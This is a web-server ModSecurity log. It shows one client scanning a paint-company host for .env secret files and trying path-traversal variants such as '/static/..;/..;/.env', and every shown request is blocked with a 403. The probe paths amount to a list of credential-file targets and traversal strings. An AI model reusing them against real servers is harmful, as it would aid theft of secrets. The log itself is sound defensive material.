[Mon Oct 26 07:05:10.088901 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at8z5rFCbpdt8WThhgVJwwAAACY"]
[Mon Oct 26 07:05:10.089213 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at8z5rFCbpdt8WThhgVJwwAAACY"]
[Mon Oct 26 07:05:10.090269 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at8z5qe0hdS5i1FYoSkSYwAAACw"]
[Mon Oct 26 07:05:10.090429 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at8z5qe0hdS5i1FYoSkSYwAAACw"]
[Mon Oct 26 07:05:10.090657 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at8z5qe0hdS5i1FYoSkSYwAAACw"]
[Mon Oct 26 07:05:10.220410 2026] [security2:error] [pid 3019696:tid 3019696] [client 34.39.164.1:35364] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at8z5i49vFDgOd_G0u5XJAAAACo"]
[Mon Oct 26 07:05:10.220679 2026] [security2:error] [pid 3019696:tid 3019696] [client 34.39.164.1:35364] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at8z5i49vFDgOd_G0u5XJAAAACo"]
[Mon Oct 26 07:05:10.220953 2026] [security2:error] [pid 3019696:tid 3019696] [client 34.39.164.1:35364] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at8z5i49vFDgOd_G0u5XJAAAACo"]
[Mon Oct 26 07:05:10.222104 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at8z5uvTeiIeeTOEx2-3JQAAABQ"]
[Mon Oct 26 07:05:10.222239 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at8z5uvTeiIeeTOEx2-3JQAAABQ"]
[Mon Oct 26 07:05:10.222468 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at8z5uvTeiIeeTOEx2-3JQAAABQ"]
[Mon Oct 26 07:05:10.326314 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at8z5ssf6KX343046fT7_AAAABM"]
[Mon Oct 26 07:05:10.326576 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at8z5ssf6KX343046fT7_AAAABM"]
[Mon Oct 26 07:05:10.326895 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at8z5ssf6KX343046fT7_AAAABM"]
[Mon Oct 26 07:05:10.571713 2026] [security2:error] [pid 3019690:tid 3019690] [client 34.39.164.1:35284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at8z5gFmwSOxi_IjJL3BHQAAACQ"]
[Mon Oct 26 07:05:10.571868 2026] [security2:error] [pid 3019690:tid 3019690] [client 34.39.164.1:35284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at8z5gFmwSOxi_IjJL3BHQAAACQ"]
[Mon Oct 26 07:05:10.572148 2026] [security2:error] [pid 3019690:tid 3019690] [client 34.39.164.1:35284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at8z5gFmwSOxi_IjJL3BHQAAACQ"]
[Mon Oct 26 07:05:10.590146 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at8z5oeGqS3CXz8ptQGTsgAAAAI"]
[Mon Oct 26 07:05:10.590308 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at8z5oeGqS3CXz8ptQGTsgAAAAI"]
[Mon Oct 26 07:05:10.590620 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at8z5oeGqS3CXz8ptQGTsgAAAAI"]
[Mon Oct 26 07:05:11.170589 2026] [security2:error] [pid 3019691:tid 3019691] [client 34.39.164.1:35292] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at8z57GAWtzDWotfTvaiXAAAACU"]
[Mon Oct 26 07:05:11.170763 2026] [security2:error] [pid 3019691:tid 3019691] [client 34.39.164.1:35292] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at8z57GAWtzDWotfTvaiXAAAACU"]
[Mon Oct 26 07:05:11.170989 2026] [security2:error] [pid 3019691:tid 3019691] [client 34.39.164.1:35292] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at8z57GAWtzDWotfTvaiXAAAACU"]
[Mon Oct 26 07:05:11.891528 2026] [security2:error] [pid 3019694:tid 3019694] [client 34.39.164.1:35366] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /supabase/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at8z5ycSv4BJXPfRnP7RgwAAACg"]
[Mon Oct 26 07:05:11.891709 2026] [security2:error] [pid 3019694:tid 3019694] [client 34.39.164.1:35366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at8z5ycSv4BJXPfRnP7RgwAAACg"]
[Mon Oct 26 07:05:11.891935 2026] [security2:error] [pid 3019694:tid 3019694] [client 34.39.164.1:35366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at8z5ycSv4BJXPfRnP7RgwAAACg"]
[Mon Oct 26 07:05:11.895508 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prisma/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at8z5yz2IVlcktcA6K04ZAAAABg"]
[Mon Oct 26 07:05:11.895674 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at8z5yz2IVlcktcA6K04ZAAAABg"]
[Mon Oct 26 07:05:11.895900 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at8z5yz2IVlcktcA6K04ZAAAABg"]
[Mon Oct 26 07:05:11.901660 2026] [security2:error] [pid 3019691:tid 3019691] [client 34.39.164.1:35292] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at8z57GAWtzDWotfTvaiXQAAACU"]
[Mon Oct 26 07:05:11.901748 2026] [security2:error] [pid 3019691:tid 3019691] [client 34.39.164.1:35292] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at8z57GAWtzDWotfTvaiXQAAACU"]
[Mon Oct 26 07:05:11.901883 2026] [security2:error] [pid 3019691:tid 3019691] [client 34.39.164.1:35292] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at8z57GAWtzDWotfTvaiXQAAACU"]
[Mon Oct 26 07:05:11.902122 2026] [security2:error] [pid 3019691:tid 3019691] [client 34.39.164.1:35292] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at8z57GAWtzDWotfTvaiXQAAACU"]
[Mon Oct 26 07:05:11.903157 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at8z58sf6KX343046fT7_QAAABM"]
[Mon Oct 26 07:05:11.903217 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/..;/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at8z58sf6KX343046fT7_QAAABM"]
[Mon Oct 26 07:05:11.903365 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at8z58sf6KX343046fT7_QAAABM"]
[Mon Oct 26 07:05:11.903587 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at8z58sf6KX343046fT7_QAAABM"]
[Mon Oct 26 07:05:14.206341 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /app/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at8z6qe0hdS5i1FYoSkSZgAAACw"]
